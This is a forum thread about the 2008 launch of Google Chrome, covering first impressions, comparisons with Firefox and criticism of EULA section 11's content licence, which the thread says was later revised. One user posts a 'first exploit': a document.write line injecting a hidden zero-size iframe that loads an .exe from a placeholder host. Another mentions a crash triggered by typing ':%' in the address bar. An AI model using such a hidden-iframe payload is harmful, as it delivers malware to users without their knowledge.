google chrome

Tried it. Didn't hate it. Didn't love it. Too limited for now, but I dig its clean design.

Needs third button usability. Sucks without it.
 
Also tried it, but I guess nothing can match Firefox's accesibility or its gazillion plugins.


@ Brother None: I can't help but to think about this whenever I see your avatar.
 
it's ok. has potential.

but the EULA sucks DONKEYDICK. basically anything you write/post/whatever, Google gets the right to use. i suppose they just mean to use it for archiving etc, but if you take it literally, any post you make, they get the right to use, edit and distribute.

if you happen to post a novel you just wrote on some private discussion forum, they get to publish it royalty free.
any piece of code you write and post, they get to use.

http://www.google.com/chrome/eula.html part: 11.1 to 11.3

also, the first exploit is out:
Code: 
document.write('<iframe>');

edit: the forum eats the exploit code, even when in code tags... basically it's document . write ( 'iframe src = http://www.example.com/hello.exe frameborder = 0 width = 0 height = 0 >');

those with some basic webdesign knowledge will get the ghist of it. (deleted some parts)
 
SuAside said:
if you happen to post a novel you just wrote on some private discussion forum, they get to publish it royalty free.
any piece of code you write and post, they get to use.
Click to expand...
Say what? That can't be legal. Not in the West. That's organized piracy if anything. Are you sure one needs to interpret it that way?
 
UELAs never hold up in court, alec, especially not in the EU. But it is not illegal for Google to put "we own the right to republish this content in perpetuity" in the UELA. You sign the UELA with open eyes, after all.

It's pretty unreasonable, tho', and can't really be interpreted in any other way:
Door het verstrekken, publiceren of weergeven van Inhoud door of via de Services, verleent u Google een eeuwigdurende, onherroepelijke, wereldwijde, royaltyvrije en niet-exclusieve licentie op het reproduceren, aanpassen, wijzigen, vertalen, publiceren, verspreiden, publiekelijk uitvoeren en weergeven van deze Inhoud.
 
Door het verstrekken, publiceren of weergeven van Inhoud door of via de Services, verleent u Google een eeuwigdurende, onherroepelijke, wereldwijde, royaltyvrije en niet-exclusieve licentie op het reproduceren, aanpassen, wijzigen, vertalen, publiceren, verspreiden, publiekelijk uitvoeren en weergeven van deze Inhoud.
Click to expand...
You gotta like them mentioning "eternal".
Apparently Google plans on being still around when the Sun explodes. That's ambition for you.

Unreasonable is the least one can say.
 
i suppose that part will have to be modified before release, or half the community is going to pack up and leave them hanging... it's funny, since Chrome is kinda aimed at the companies as well, who could potentially use it as a development platform, but as long as that part is in the agreement no serious company will ever want to use that.

also, AOL's AIM has the same part in their license agreement. (and they still do today, afaik)

Microsoft's MSN tried to do the same, but eventually backed down after community outrage if i recall correctly.
 
I tested it and I don't like it. So I deleted it and still use my Firefoxy.
 
SuAside said:
i suppose that part will have to be modified before release
Click to expand...
and indeed it was:

Google Chrome EULA said:
11. Content license from you

11.1 You retain copyright and any other rights you already hold in Content which you submit, post or display on or through, the Services.

12. Software updates
Click to expand...
though not all languages have been updated yet.

there's also a new bug: type ":%" in your url bar. :)
sandboxed? yeah, right.
 
You must log in or register to reply here.
Back
Top